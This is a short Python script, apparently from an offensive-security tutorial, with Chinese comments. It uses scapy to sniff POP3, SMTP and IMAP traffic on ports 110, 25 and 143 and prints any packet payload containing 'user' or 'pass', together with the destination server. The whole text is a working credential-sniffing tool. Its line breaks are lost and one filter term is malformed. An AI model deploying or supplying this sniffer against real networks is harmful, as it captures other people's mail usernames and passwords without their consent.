from scapy.all import *#数据包回调函数def packet_callback(packet):    if packet[TCP].payload:        mail_packet = str(packet[TCP].payload)        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():            print "[*] Server: %s" % packet[IP].dst            print "[*] %s" % packet[TCP].payload#开启嗅探器sniff(filter="tcp port 110 or tcp 25 or tcp port 143",prn=packet_callback,store=0)